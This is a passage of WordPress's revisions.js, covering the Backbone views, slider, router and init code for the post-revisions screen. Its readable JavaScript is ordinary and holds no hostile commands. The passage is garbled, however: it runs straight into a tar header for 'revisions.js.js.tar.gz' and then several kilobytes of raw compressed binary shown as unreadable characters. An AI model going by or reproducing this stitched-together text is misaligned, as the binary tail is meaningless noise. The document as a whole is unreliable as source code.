			// When switching back to single-handled mode, reset 'from' model to
			// one position before the 'to' model.
			if ( ! value && 0 !== toIndex ) { // '! value' means switching to single-handled mode.
				this.set({
					from: this.revisions.at( toIndex - 1 ),
					to:   this.revisions.at( toIndex )
				});
			}
		},

		updatedRevisions: function( from, to ) {
			if ( this.get( 'compareTwoMode' ) ) {
				// @todo Compare-two loading strategy.
			} else {
				this.diffs.loadAll( this.revisions.pluck('id'), to.id, 40 );
			}
		},

		// Fetch the currently loaded diff.
		diff: function() {
			return this.diffs.get( this._diffId );
		},

		/*
		 * So long as `from` and `to` are changed at the same time, the diff
		 * will only be updated once. This is because Backbone updates all of
		 * the changed attributes in `set`, and then fires the `change` events.
		 */
		updateDiff: function( options ) {
			var from, to, diffId, diff;

			options = options || {};
			from = this.get('from');
			to = this.get('to');
			diffId = ( from ? from.id : 0 ) + ':' + to.id;

			// Check if we're actually changing the diff id.
			if ( this._diffId === diffId ) {
				return $.Deferred().reject().promise();
			}

			this._diffId = diffId;
			this.trigger( 'update:revisions', from, to );

			diff = this.diffs.get( diffId );

			// If we already have the diff, then immediately trigger the update.
			if ( diff ) {
				this.receiveDiff( diff );
				return $.Deferred().resolve().promise();
			// Otherwise, fetch the diff.
			} else {
				if ( options.immediate ) {
					return this._ensureDiff();
				} else {
					this._debouncedEnsureDiff();
					return $.Deferred().reject().promise();
				}
			}
		},

		// A simple wrapper around `updateDiff` to prevent the change event's
		// parameters from being passed through.
		changeRevisionHandler: function() {
			this.updateDiff();
		},

		receiveDiff: function( diff ) {
			// Did we actually get a diff?
			if ( _.isUndefined( diff ) || _.isUndefined( diff.id ) ) {
				this.set({
					loading: false,
					error: true
				});
			} else if ( this._diffId === diff.id ) { // Make sure the current diff didn't change.
				this.trigger( 'update:diff', diff );
			}
		},

		_ensureDiff: function() {
			return this.diffs.ensure( this._diffId, this ).always( this.receiveDiff );
		}
	});


	/**
	 * ========================================================================
	 * VIEWS
	 * ========================================================================
	 */

	/**
	 * wp.revisions.view.Frame
	 *
	 * Top level frame that orchestrates the revisions experience.
	 *
	 * @param {object}                     options       The options hash for the view.
	 * @param {revisions.model.FrameState} options.model The frame state model.
	 */
	revisions.view.Frame = wp.Backbone.View.extend({
		className: 'revisions',
		template: wp.template('revisions-frame'),

		initialize: function() {
			this.listenTo( this.model, 'update:diff', this.renderDiff );
			this.listenTo( this.model, 'change:compareTwoMode', this.updateCompareTwoMode );
			this.listenTo( this.model, 'change:loading', this.updateLoadingStatus );
			this.listenTo( this.model, 'change:error', this.updateErrorStatus );

			this.views.set( '.revisions-control-frame', new revisions.view.Controls({
				model: this.model
			}) );
		},

		render: function() {
			wp.Backbone.View.prototype.render.apply( this, arguments );

			$('html').css( 'overflow-y', 'scroll' );
			$('#wpbody-content .wrap').append( this.el );
			this.updateCompareTwoMode();
			this.renderDiff( this.model.diff() );
			this.views.ready();

			return this;
		},

		renderDiff: function( diff ) {
			this.views.set( '.revisions-diff-frame', new revisions.view.Diff({
				model: diff
			}) );
		},

		updateLoadingStatus: function() {
			this.$el.toggleClass( 'loading', this.model.get('loading') );
		},

		updateErrorStatus: function() {
			this.$el.toggleClass( 'diff-error', this.model.get('error') );
		},

		updateCompareTwoMode: function() {
			this.$el.toggleClass( 'comparing-two-revisions', this.model.get('compareTwoMode') );
		}
	});

	/**
	 * wp.revisions.view.Controls
	 *
	 * The controls view.
	 *
	 * Contains the revision slider, previous/next buttons, the meta info and the compare checkbox.
	 */
	revisions.view.Controls = wp.Backbone.View.extend({
		className: 'revisions-controls',

		initialize: function() {
			_.bindAll( this, 'setWidth' );

			// Add the button view.
			this.views.add( new revisions.view.Buttons({
				model: this.model
			}) );

			// Add the checkbox view.
			this.views.add( new revisions.view.Checkbox({
				model: this.model
			}) );

			// Prep the slider model.
			var slider = new revisions.model.Slider({
				frame: this.model,
				revisions: this.model.revisions
			}),

			// Prep the tooltip model.
			tooltip = new revisions.model.Tooltip({
				frame: this.model,
				revisions: this.model.revisions,
				slider: slider
			});

			// Add the tooltip view.
			this.views.add( new revisions.view.Tooltip({
				model: tooltip
			}) );

			// Add the tickmarks view.
			this.views.add( new revisions.view.Tickmarks({
				model: tooltip
			}) );

			// Add the slider view.
			this.views.add( new revisions.view.Slider({
				model: slider
			}) );

			// Add the Metabox view.
			this.views.add( new revisions.view.Metabox({
				model: this.model
			}) );
		},

		ready: function() {
			this.top = this.$el.offset().top;
			this.window = $(window);
			this.window.on( 'scroll.wp.revisions', {controls: this}, function(e) {
				var controls  = e.data.controls,
					container = controls.$el.parent(),
					scrolled  = controls.window.scrollTop(),
					frame     = controls.views.parent;

				if ( scrolled >= controls.top ) {
					if ( ! frame.$el.hasClass('pinned') ) {
						controls.setWidth();
						container.css('height', container.height() + 'px' );
						controls.window.on('resize.wp.revisions.pinning click.wp.revisions.pinning', {controls: controls}, function(e) {
							e.data.controls.setWidth();
						});
					}
					frame.$el.addClass('pinned');
				} else if ( frame.$el.hasClass('pinned') ) {
					controls.window.off('.wp.revisions.pinning');
					controls.$el.css('width', 'auto');
					frame.$el.removeClass('pinned');
					container.css('height', 'auto');
					controls.top = controls.$el.offset().top;
				} else {
					controls.top = controls.$el.offset().top;
				}
			});
		},

		setWidth: function() {
			this.$el.css('width', this.$el.parent().width() + 'px');
		}
	});

	// The tickmarks view.
	revisions.view.Tickmarks = wp.Backbone.View.extend({
		className: 'revisions-tickmarks',
		direction: isRtl ? 'right' : 'left',

		initialize: function() {
			this.listenTo( this.model, 'change:revision', this.reportTickPosition );
		},

		reportTickPosition: function( model, revision ) {
			var offset, thisOffset, parentOffset, tick, index = this.model.revisions.indexOf( revision );
			thisOffset = this.$el.allOffsets();
			parentOffset = this.$el.parent().allOffsets();
			if ( index === this.model.revisions.length - 1 ) {
				// Last one.
				offset = {
					rightPlusWidth: thisOffset.left - parentOffset.left + 1,
					leftPlusWidth: thisOffset.right - parentOffset.right + 1
				};
			} else {
				// Normal tick.
				tick = this.$('div:nth-of-type(' + (index + 1) + ')');
				offset = tick.allPositions();
				_.extend( offset, {
					left: offset.left + thisOffset.left - parentOffset.left,
					right: offset.right + thisOffset.right - parentOffset.right
				});
				_.extend( offset, {
					leftPlusWidth: offset.left + tick.outerWidth(),
					rightPlusWidth: offset.right + tick.outerWidth()
				});
			}
			this.model.set({ offset: offset });
		},

		ready: function() {
			var tickCount, tickWidth;
			tickCount = this.model.revisions.length - 1;
			tickWidth = 1 / tickCount;
			this.$el.css('width', ( this.model.revisions.length * 50 ) + 'px');

			_(tickCount).times( function( index ){
				this.$el.append( '<div style="' + this.direction + ': ' + ( 100 * tickWidth * index ) + '%"></div>' );
			}, this );
		}
	});

	// The metabox view.
	revisions.view.Metabox = wp.Backbone.View.extend({
		className: 'revisions-meta',

		initialize: function() {
			// Add the 'from' view.
			this.views.add( new revisions.view.MetaFrom({
				model: this.model,
				className: 'diff-meta diff-meta-from'
			}) );

			// Add the 'to' view.
			this.views.add( new revisions.view.MetaTo({
				model: this.model
			}) );
		}
	});

	// The revision meta view (to be extended).
	revisions.view.Meta = wp.Backbone.View.extend({
		template: wp.template('revisions-meta'),

		events: {
			'click .restore-revision': 'restoreRevision'
		},

		initialize: function() {
			this.listenTo( this.model, 'update:revisions', this.render );
		},

		prepare: function() {
			return _.extend( this.model.toJSON()[this.type] || {}, {
				type: this.type
			});
		},

		restoreRevision: function() {
			document.location = this.model.get('to').attributes.restoreUrl;
		}
	});

	// The revision meta 'from' view.
	revisions.view.MetaFrom = revisions.view.Meta.extend({
		className: 'diff-meta diff-meta-from',
		type: 'from'
	});

	// The revision meta 'to' view.
	revisions.view.MetaTo = revisions.view.Meta.extend({
		className: 'diff-meta diff-meta-to',
		type: 'to'
	});

	// The checkbox view.
	revisions.view.Checkbox = wp.Backbone.View.extend({
		className: 'revisions-checkbox',
		template: wp.template('revisions-checkbox'),

		events: {
			'click .compare-two-revisions': 'compareTwoToggle'
		},

		initialize: function() {
			this.listenTo( this.model, 'change:compareTwoMode', this.updateCompareTwoMode );
		},

		ready: function() {
			if ( this.model.revisions.length < 3 ) {
				$('.revision-toggle-compare-mode').hide();
			}
		},

		updateCompareTwoMode: function() {
			this.$('.compare-two-revisions').prop( 'checked', this.model.get('compareTwoMode') );
		},

		// Toggle the compare two mode feature when the compare two checkbox is checked.
		compareTwoToggle: function() {
			// Activate compare two mode?
			this.model.set({ compareTwoMode: $('.compare-two-revisions').prop('checked') });
		}
	});

	// The tooltip view.
	// Encapsulates the tooltip.
	revisions.view.Tooltip = wp.Backbone.View.extend({
		className: 'revisions-tooltip',
		template: wp.template('revisions-meta'),

		initialize: function() {
			this.listenTo( this.model, 'change:offset', this.render );
			this.listenTo( this.model, 'change:hovering', this.toggleVisibility );
			this.listenTo( this.model, 'change:scrubbing', this.toggleVisibility );
		},

		prepare: function() {
			if ( _.isNull( this.model.get('revision') ) ) {
				return;
			} else {
				return _.extend( { type: 'tooltip' }, {
					attributes: this.model.get('revision').toJSON()
				});
			}
		},

		render: function() {
			var otherDirection,
				direction,
				directionVal,
				flipped,
				css      = {},
				position = this.model.revisions.indexOf( this.model.get('revision') ) + 1;

			flipped = ( position / this.model.revisions.length ) > 0.5;
			if ( isRtl ) {
				direction = flipped ? 'left' : 'right';
				directionVal = flipped ? 'leftPlusWidth' : direction;
			} else {
				direction = flipped ? 'right' : 'left';
				directionVal = flipped ? 'rightPlusWidth' : direction;
			}
			otherDirection = 'right' === direction ? 'left': 'right';
			wp.Backbone.View.prototype.render.apply( this, arguments );
			css[direction] = this.model.get('offset')[directionVal] + 'px';
			css[otherDirection] = '';
			this.$el.toggleClass( 'flipped', flipped ).css( css );
		},

		visible: function() {
			return this.model.get( 'scrubbing' ) || this.model.get( 'hovering' );
		},

		toggleVisibility: function() {
			if ( this.visible() ) {
				this.$el.stop().show().fadeTo( 100 - this.el.style.opacity * 100, 1 );
			} else {
				this.$el.stop().fadeTo( this.el.style.opacity * 300, 0, function(){ $(this).hide(); } );
			}
			return;
		}
	});

	// The buttons view.
	// Encapsulates all of the configuration for the previous/next buttons.
	revisions.view.Buttons = wp.Backbone.View.extend({
		className: 'revisions-buttons',
		template: wp.template('revisions-buttons'),

		events: {
			'click .revisions-next .button': 'nextRevision',
			'click .revisions-previous .button': 'previousRevision'
		},

		initialize: function() {
			this.listenTo( this.model, 'update:revisions', this.disabledButtonCheck );
		},

		ready: function() {
			this.disabledButtonCheck();
		},

		// Go to a specific model index.
		gotoModel: function( toIndex ) {
			var attributes = {
				to: this.model.revisions.at( toIndex )
			};
			// If we're at the first revision, unset 'from'.
			if ( toIndex ) {
				attributes.from = this.model.revisions.at( toIndex - 1 );
			} else {
				this.model.unset('from', { silent: true });
			}

			this.model.set( attributes );
		},

		// Go to the 'next' revision.
		nextRevision: function() {
			var toIndex = this.model.revisions.indexOf( this.model.get('to') ) + 1;
			this.gotoModel( toIndex );
		},

		// Go to the 'previous' revision.
		previousRevision: function() {
			var toIndex = this.model.revisions.indexOf( this.model.get('to') ) - 1;
			this.gotoModel( toIndex );
		},

		// Check to see if the Previous or Next buttons need to be disabled or enabled.
		disabledButtonCheck: function() {
			var maxVal   = this.model.revisions.length - 1,
				minVal   = 0,
				next     = $('.revisions-next .button'),
				previous = $('.revisions-previous .button'),
				val      = this.model.revisions.indexOf( this.model.get('to') );

			// Disable "Next" button if you're on the last node.
			next.prop( 'disabled', ( maxVal === val ) );

			// Disable "Previous" button if you're on the first node.
			previous.prop( 'disabled', ( minVal === val ) );
		}
	});


	// The slider view.
	revisions.view.Slider = wp.Backbone.View.extend({
		className: 'wp-slider',
		direction: isRtl ? 'right' : 'left',

		events: {
			'mousemove' : 'mouseMove'
		},

		initialize: function() {
			_.bindAll( this, 'start', 'slide', 'stop', 'mouseMove', 'mouseEnter', 'mouseLeave' );
			this.listenTo( this.model, 'update:slider', this.applySliderSettings );
		},

		ready: function() {
			this.$el.css('width', ( this.model.revisions.length * 50 ) + 'px');
			this.$el.slider( _.extend( this.model.toJSON(), {
				start: this.start,
				slide: this.slide,
				stop:  this.stop
			}) );

			this.$el.hoverIntent({
				over: this.mouseEnter,
				out: this.mouseLeave,
				timeout: 800
			});

			this.applySliderSettings();
		},

		mouseMove: function( e ) {
			var zoneCount         = this.model.revisions.length - 1,       // One fewer zone than models.
				sliderFrom        = this.$el.allOffsets()[this.direction], // "From" edge of slider.
				sliderWidth       = this.$el.width(),                      // Width of slider.
				tickWidth         = sliderWidth / zoneCount,               // Calculated width of zone.
				actualX           = ( isRtl ? $(window).width() - e.pageX : e.pageX ) - sliderFrom, // Flipped for RTL - sliderFrom.
				currentModelIndex = Math.floor( ( actualX  + ( tickWidth / 2 )  ) / tickWidth );    // Calculate the model index.

			// Ensure sane value for currentModelIndex.
			if ( currentModelIndex < 0 ) {
				currentModelIndex = 0;
			} else if ( currentModelIndex >= this.model.revisions.length ) {
				currentModelIndex = this.model.revisions.length - 1;
			}

			// Update the tooltip mode.
			this.model.set({ hoveredRevision: this.model.revisions.at( currentModelIndex ) });
		},

		mouseLeave: function() {
			this.model.set({ hovering: false });
		},

		mouseEnter: function() {
			this.model.set({ hovering: true });
		},

		applySliderSettings: function() {
			this.$el.slider( _.pick( this.model.toJSON(), 'value', 'values', 'range' ) );
			var handles = this.$('a.ui-slider-handle');

			if ( this.model.get('compareTwoMode') ) {
				// In RTL mode the 'left handle' is the second in the slider, 'right' is first.
				handles.first()
					.toggleClass( 'to-handle', !! isRtl )
					.toggleClass( 'from-handle', ! isRtl );
				handles.last()
					.toggleClass( 'from-handle', !! isRtl )
					.toggleClass( 'to-handle', ! isRtl );
			} else {
				handles.removeClass('from-handle to-handle');
			}
		},

		start: function( event, ui ) {
			this.model.set({ scrubbing: true });

			// Track the mouse position to enable smooth dragging,
			// overrides default jQuery UI step behavior.
			$( window ).on( 'mousemove.wp.revisions', { view: this }, function( e ) {
				var handles,
					view              = e.data.view,
					leftDragBoundary  = view.$el.offset().left,
					sliderOffset      = leftDragBoundary,
					sliderRightEdge   = leftDragBoundary + view.$el.width(),
					rightDragBoundary = sliderRightEdge,
					leftDragReset     = '0',
					rightDragReset    = '100%',
					handle            = $( ui.handle );

				// In two handle mode, ensure handles can't be dragged past each other.
				// Adjust left/right boundaries and reset points.
				if ( view.model.get('compareTwoMode') ) {
					handles = handle.parent().find('.ui-slider-handle');
					if ( handle.is( handles.first() ) ) {
						// We're the left handle.
						rightDragBoundary = handles.last().offset().left;
						rightDragReset    = rightDragBoundary - sliderOffset;
					} else {
						// We're the right handle.
						leftDragBoundary = handles.first().offset().left + handles.first().width();
						leftDragReset    = leftDragBoundary - sliderOffset;
					}
				}

				// Follow mouse movements, as long as handle remains inside slider.
				if ( e.pageX < leftDragBoundary ) {
					handle.css( 'left', leftDragReset ); // Mouse to left of slider.
				} else if ( e.pageX > rightDragBoundary ) {
					handle.css( 'left', rightDragReset ); // Mouse to right of slider.
				} else {
					handle.css( 'left', e.pageX - sliderOffset ); // Mouse in slider.
				}
			} );
		},

		getPosition: function( position ) {
			return isRtl ? this.model.revisions.length - position - 1: position;
		},

		// Responds to slide events.
		slide: function( event, ui ) {
			var attributes, movedRevision;
			// Compare two revisions mode.
			if ( this.model.get('compareTwoMode') ) {
				// Prevent sliders from occupying same spot.
				if ( ui.values[1] === ui.values[0] ) {
					return false;
				}
				if ( isRtl ) {
					ui.values.reverse();
				}
				attributes = {
					from: this.model.revisions.at( this.getPosition( ui.values[0] ) ),
					to: this.model.revisions.at( this.getPosition( ui.values[1] ) )
				};
			} else {
				attributes = {
					to: this.model.revisions.at( this.getPosition( ui.value ) )
				};
				// If we're at the first revision, unset 'from'.
				if ( this.getPosition( ui.value ) > 0 ) {
					attributes.from = this.model.revisions.at( this.getPosition( ui.value ) - 1 );
				} else {
					attributes.from = undefined;
				}
			}
			movedRevision = this.model.revisions.at( this.getPosition( ui.value ) );

			// If we are scrubbing, a scrub to a revision is considered a hover.
			if ( this.model.get('scrubbing') ) {
				attributes.hoveredRevision = movedRevision;
			}

			this.model.set( attributes );
		},

		stop: function() {
			$( window ).off('mousemove.wp.revisions');
			this.model.updateSliderSettings(); // To snap us back to a tick mark.
			this.model.set({ scrubbing: false });
		}
	});

	// The diff view.
	// This is the view for the current active diff.
	revisions.view.Diff = wp.Backbone.View.extend({
		className: 'revisions-diff',
		template:  wp.template('revisions-diff'),

		// Generate the options to be passed to the template.
		prepare: function() {
			return _.extend({ fields: this.model.fields.toJSON() }, this.options );
		}
	});

	// The revisions router.
	// Maintains the URL routes so browser URL matches state.
	revisions.Router = Backbone.Router.extend({
		initialize: function( options ) {
			this.model = options.model;

			// Maintain state and history when navigating.
			this.listenTo( this.model, 'update:diff', _.debounce( this.updateUrl, 250 ) );
			this.listenTo( this.model, 'change:compareTwoMode', this.updateUrl );
		},

		baseUrl: function( url ) {
			return this.model.get('baseUrl') + url;
		},

		updateUrl: function() {
			var from = this.model.has('from') ? this.model.get('from').id : 0,
				to   = this.model.get('to').id;
			if ( this.model.get('compareTwoMode' ) ) {
				this.navigate( this.baseUrl( '?from=' + from + '&to=' + to ), { replace: true } );
			} else {
				this.navigate( this.baseUrl( '?revision=' + to ), { replace: true } );
			}
		},

		handleRoute: function( a, b ) {
			var compareTwo = _.isUndefined( b );

			if ( ! compareTwo ) {
				b = this.model.revisions.get( a );
				a = this.model.revisions.prev( b );
				b = b ? b.id : 0;
				a = a ? a.id : 0;
			}
		}
	});

	/**
	 * Initialize the revisions UI for revision.php.
	 */
	revisions.init = function() {
		var state;

		// Bail if the current page is not revision.php.
		if ( ! window.adminpage || 'revision-php' !== window.adminpage ) {
			return;
		}

		state = new revisions.model.FrameState({
			initialDiffState: {
				// wp_localize_script doesn't stringifies ints, so cast them.
				to: parseInt( revisions.settings.to, 10 ),
				from: parseInt( revisions.settings.from, 10 ),
				// wp_localize_script does not allow for top-level booleans so do a comparator here.
				compareTwoMode: ( revisions.settings.compareTwoMode === '1' )
			},
			diffData: revisions.settings.diffData,
			baseUrl: revisions.settings.baseUrl,
			postId: parseInt( revisions.settings.postId, 10 )
		}, {
			revisions: new revisions.model.Revisions( revisions.settings.revisionData )
		});

		revisions.view.frame = new revisions.view.Frame({
			model: state
		}).render();
	};

	$( revisions.init );
}(jQuery));
revisions.js.js.tar.gz000064400000021025150276633110010746 0ustar00��=ks�F��U��wI&$e7�Wtob;_�qΏd�\.$�"b��h���~L�Eʛ���nL3====���沼��E�dM���Y��&��u��ɬ�8ެ��EV�\W�2�������?��w��_:����|����N�8�������N������D��5�
��0�
��w������Oէ��,�ꩬ�ʊFW�t��b]�|6Vߤ��Ӳ�j���Z��;7K�s��+5/g�]4I�����eS7U�J�9
W��պQ}�m��?U�y9Ms��O���m�b^n��J�)���_�w����H�?<�L+�ٝ������ݪ�5!~Q��0��p��
�>><�pT�=|}�t>��2��4+��*�\W�]!r���QV�U0v��R�IU��K=W��� ��@k��y�
�Ժi��vs�Y�E{&o�8�e��z�>?�W0z
�i^kjm� /��!���AR�&˳�J-J�‰����֪,�+�Y�B�ԑ�Z��9�$�E��YV�f��jUV
�]�"9��h����d5"����OR���A�!&�j�_� �*�Ήsk5~9�px ����r�A5�Z�|�%.i���ȷ�E��y�d��%���#_���5ˬN����k��D��U�
|v4���!�K�U�YW�z��w
0����|	}�c����@�#�&A��G^�V������l��bB]��@_�pSA��L�"F�
�`��C!�PA���a�V�8�9}v�C`E�>��q>�z7�@�s$�@v#�l���{��G��p�I/y�gsػgV/$��Y��\/�u��^��4_�*�y>��k��\p�����S�X7z%���8$��X)��7%�n� �LJ(&
X�4�~�7��\1O�@˴��
�1�������,؎�;�Z�P�-S�~T��Ǣ��*&v�� </��a5V��
���X(��2h�tv���ݹ#6	�&�x|��ڳ"���l��G�
l��@�'�\?*gi~ϐ����Ք���6�O�c}$��|�/�K
v�]�nژV�bv�X�p���)o	�B~�U��:2��!��'�j���.Y�--�iє�d(�X�|���"��$t�?�4p�2���I#����;��9hG����p<���J�S5���t�<<��1���!B��2�x)��{�_�G���
�,C_S�簋q�Wco,O�Z)�Tk�����Պ�]�fiQ���Ue�;\��� ]�Mi��̈́��h�%"�
k��5~�+�}ke�/L������O��pV�����`�#����ۼ�7!o��E��;�ADW�F�v�`�<�Л�����+Gq�cuZ2���8p|�I�~�!=,�OY�՞�T}�)��+B���k�Rڠ
c|�f�U.�����"�Ҍ?S<<x�蕃nD�a�h͘8����U�^��~�ّ�4m1������W9$R�-��e�7�jS�����OvȽů��vb�� �i�aU*�4k���1[nV��S׭��m��ۍ9�db�J~�������N���F_�_ɷ��;�h(���g�̉.+�����m��x�6򷶇�RαY[������f���ջ�_g%Q{����c𭣠P;
��q�g�ڄ�� ��(C��	�h�u�33��
`_l�t������^Ud��妷@����uߙɭ��\~�6�3la
Fq���zr
rG!r}��m��u�����,B���-[�6�B�.9O�ң��Du�‰v�^�M7�P�ؾ�q&;�[����io�ོ�uݼ(�2�� ������M�i#�_����Z�ù׆�p��V���vq7 ��&/�'B6�@7P��?sd���ڊ�oƷ�����,`��
��3u;�o�� �AKk�[��N�(�'�*π{&��˓Wby*����Q`���'0����@8aL�8�+��浨��6V2�d��ZG� !��İm�)+�K�S�,�B�zɭ_��h9e16�]Q: 6��l9����`�-�l�_��Viq��t�L�%�|H��y���"�7����;�@�\71�W�����n�s��M��R�F�\�� �HR�*�L% ��&�BWj���k��>�=gX���k�� ��Ap���o�UMk�PbC�$sc��YL�e��R��8��|����P@���;tZ�̓�/����ҪJ��R��w�����}n��PJ�4F.�}9U�|ah|�C�u�rVAv�Ќt6}�]0%�d+�4�˪�����4�b��8m�I:���QC�@B�Qr����ϒ�aS�����,opǻ�H7_7��~�"+@�	x�m��1���۝�+�g�Dc�<s�cp*/zV‰�N�?7J�5̸���#���
��I
�i�<��g�y;м6���D2�õ���ڥ��$F�M��ݙ�sJ!	CcE�#(��i���f�y
R&��A�6e�}m��d�z��Q��9��(˫������E�]��۝6�Ofg�8V����%V?�,�D�w�˞�:$�cu������j��0��`@�'��w�e�����5���*7�6�^�;�v��R��H�Pʛ�Úme݀Oe#��	���3+:�AE�9��a�*f���e	�n�Ș&^ �����ݙ��Z����L�<�ļ}G�g�	�������R�xB���መ}`��hg��������N�9ӟ�wI�n���L��d��e5g+c��Pb��9�m���.���Ό���ո�;�췳`��"�b����H��p��\������<��n֔��^�}�7�����|�H_�:��~�x�&è)친�}�Eyc}Q�)�o�@b���
6QS6W+�(�-�O��� ް5h�-FM�5i�m���1�Z��ľ�{�us��k$N/�r����K�Q�5p�<�	�ϏT�Ih���sv/��=1O�@�?Q���>���V\�ڐ���>�y��^����ǦF8:��1jO�'�,$����3l�@^���"M��u"�%(�����$�wHРvb@v��("4T/_��f��I� ,�Y�O|j�#s���x��/C.c'9^IB)T�Ƨ�AR
�(��^��>�UݗQ2�L��G�����_��0��ٸ1��~)�(�0�'q�,�my1D�q*�<⭆̽��a������@%�EF�JR�PZ��{��)�P���]��Q�����@�����ڶ��`ԕbݸI���0Š�R����]���J}��Cwkr4�����d���,A�͌��xhw�W
NZ)l�I$�c��bi[�+�8�i@`X�mx���(:x���Vz@�06�Ǡ�ڨ
hp�q�0�uq��c4TM��?!ٖRcR><6x��Hx���ȑw�+S
��M��K�l�#NH�06�����al6)*$�e!�pΉ9���e�x9nv����g���,�!�A���`7K1k���p�@L6�@�,��A[���ϒ��GH��#ĭ���L�S���"t`�܌zt��+#ꅛ�I�m	Q8���B�@��7�T���p�2H��F�_��rOo�G4�U�����`��%xv��$���NK8[W�g�_)jY�m��gdέ�Z�{^x�r4s��az�_L��JBۤƀ�a�����+�e0�
YL1�D���H�D��S=K1��^$�f5���Vf84q;����B�{3��
̾��o��������c�%�Cru�ީ��e��-�@j18ˤt!��e�s��Y�3Ŝ���?��I1�L�_�+8�-5H�la\�t֬�lWL+>v�����e�Q�u���@����1y?��4���9_I!$�ֱj�3��;�1�Bvq����S�Q�&��#Gp�fv�uJ�-�1Qˆ4�Ko7����"RX̝q��c����߃�q�=��M�@}
r�3jS���5�
��ZopI1��f��˛qP3�5^&�o��gWx�̚��5E"?��q(�'ފN��/�>l������TJ��Zn�K�/��h1V��u��t�o���Ha?N߂H^�o�#:���gzz���C����c��v�7�:D[Nm�.�va��ot-�LJ~�-n���:�_�˕�aK�&�Fa۲�-5��
��w��2�
t�Z�€�<Y���ƹía.�rq.�=�(�3�[��я�‹m�}����DV_��F��!W	�˗�ktDh`zq_D˗��o��.���\W�;����.ʽ�c����Hİ�M� =�GaT���ʉ���\j5DG~5-�=nR˕�b3:$^ߓI�^�ø7w������es�Fɬ�3@�p����+�a�gx;W�?6�i9��9�MP�AgTzx<CS�ABV����-a"A��'7Y7C��'[cRmSl�V�m[:B4X6c�G�{x�6̶)�k��;<�Ex!�X�t�q���d�����#݋#�
f=�st�Z�Ho� _�m�%�����k'���M�"T(J���P��u}�Y�
����t����Ei/h�����i��G�v7��"UP�_#��G
��t?w�y_���r���&��vt����q����5�=�i��~�4G���ܡ����u�����
ZOG�'<��)�3n!Ә�%��^7�B�\F�(\��xbf~x�^��d�Y�EY~��M6{{�b�����^�
f{��0����1ȃ}����G�����x���P�J�|�'���w|�U~P�$�{?��/@�7����ZHK�?2�܌�.�AyEhK�ӎ���og�w��,��f;�3�mk^�kR
�]����#��[l�r�����ف�ka��u�Uv�d^
�PĀ����މ��Cu��S���+�]��a�t�
�O>u�!���uL*��8pdv��c����5{��ݳln"rSI�cӵ
+��rFW'ƽ+�
�'b��>�bR{�=���׺h]��_�S�h��	s^dc����}��F6��N^�<������G2P�+�\o����ŷ
AC�U��2,�܍�v��u]��:38��)/�p���U����U�i>	*��t�^���Zh��k��� �q�+>�ucOl�	��:���kònRJ�Ǖ�}&��kwg���Н7�.��~_V��k`�~���h���h�G����!�4�9�3#��FB����)?�3���>ۅ6c����L{'���|+z�#<q���?�ы�����u|U�TB��.�x�^�.�V��x�ȋ�m�8ܶ���T;�΂jI��Vȟ�/�^rۆ.���B�e">����M�e�%𫪛�\�}20<�X�Jge�XX�����ҧ�񓯾<P_�bo�t)�����6qo���޳�͡��&��Ы�7I<~-!��~:�q{]�.�)P\���bX
A"05lJ<efj�{��Y�kc˴V���ɽ�A��4��m�g@+M��j`��G�[A%��
}=�:��J�y�)��ٓ��o�Bxf��#�R�1�բ���� ���_�͋��ٙx�l�*���ѳ`̎7}��w7Љ�c`v�6ļҹ>)̾t(���8,���Y��t��ƶ޲�f.�Ƌ�N�t��v��Mu����ٝ���/՟�Y	v�mp��#��E��e6��#���!�IJ��+*I���ǩ%)��!�c�׵�i����ᷰ��ʌN���
wkDxp�Ǎ�w;M�8��ZzXr�� �2��D*�5KW�:�Ƿ�I�;ic�7p&��n;�SZ�;�&��7��+�0��XN�r�ΐZUk�A]�mB�k���1���#/�ï��q�)���`^*���zm�eT��c�a�!)��yt_,b�&����X�<{nL��UP!����o%�g�g��(�͂>�*.�n��S���H�.���wM0�*_�Ӛ~��u谟m�^���@�u#�>dǐ��pI��rF)@�\�N�cΙ^�!^uXkF.�^��|e\>"��B�2<C5$�,AC,sp���mp�i�����7�s�Z
���e�6}oPF�_8G����r3�K�s�R=�#�(HȹM�U:CY�)���@�4c����g�t�E�G�A
bkk^�^Η'�b�gΉ�t'�u_,��u�ƾ�u�:�դ9����4@wS��x�{'�	焻�f����w��	����o�γ:��3=9ux�3���QQ����z�g�"��	�������0Ot����-�T[ 2V
����`ʈ����:�XQ))�yy��
��S���q�e�r?�b�7�<zY��z�I�E{��P9��ڰϗ=������Z��\}.��e��ه�p~�o�~���™�
�v�t��� [d���R���e
Eɮ�6���|Q����'y��CSA]�e��"+�=�K��7F��]F�˄��t��Ė�pI���w�*��}&��	���������	��̥�F8�Y���6TC��HV�0�v4!A��L�`� y��e��љ����۬�L��}NC�F�U�P�Zѷ�m'ԑx��)��`���|y����G:�ԃܿ�³Qld�vUv�^�}�IF`q.���x�D*��賗�$��yL?z!��(�b@F�CJU51u|`��P�a���C+`��e������K�ꣵo	؅��|pQ�`l>���륛i�7j
mj
!̗/L�����V*�9��������*�;~��\���|�|��lRƪ��uR��;�r���;ZŐ�������_�4_a�����z�w]R�M�8R:Y�� �>u�$}k�0��>4��uҧ���|�"/K�CeQ��9G.��;��/�V�zb[�Η�T�[�V�9�g�1��+��5�߰���vn�~��Y{S�	�V��;y�Þ��Kl1��x��h'+zjkX��w���yV2��G[D���+�	=�������
���XDA&?��(�d��lnD�iw|��w!Ё)hQ�e�B0@1PN	����귅��އFd��4ؚ
y�� �pK#�,�-��u6E��k,m�c���3T��`^�P��%�yn�@��C�F{*�$�3�Ǔ^�p˔fo>��޾�\o�����ꋲ�m=�R��4�]�|^�2�ʔ�Q?��ZWW��C��x^�2C�5�m)��F��j�VB��:�n�S!�n�yZ~��Ճ?�抯�t��0�o�
h
�B+2i��>/����i�1���Sd��������mک9ASQ�b4��Zp:S��AǾ���''���B��3�Eb����gT��r�+��O�r �=@ݮ���mAM��s*׈�s�єg��1��23���kIt�r�t��:�xv �)��@A�]��(\Cn��tR(�k!C!2ڝ���pmXb�0G��a�j�!�:D�ŕg�C�k�0�œ�ߍ�ၵ���d�"��cm��`�$'���㏩��*-�X�_�1�8�ܯc�S�S�o): ��i��X2�WK�u�h��ay���T�	)ϊ&+*�f�=ו^k�Ė���5mg�'�[�2��^��&#����ܢ����Z�w��»[��0����`z�o��f��_��ƫ��x�.�mXCC2�WK��Щ�6���+#t���r7��b�;:6�X��pn唠0�mS��
s��{X��s���^��m@]�>���R�[y�O�n��3M]te���
~�#�R��2%�j,����Կ�ܡ��c�D#'����Lp�*v��o��ج^p͜�t�����#U�J�k[1+� ����.q�7���{��;�|��ER,�eJ�
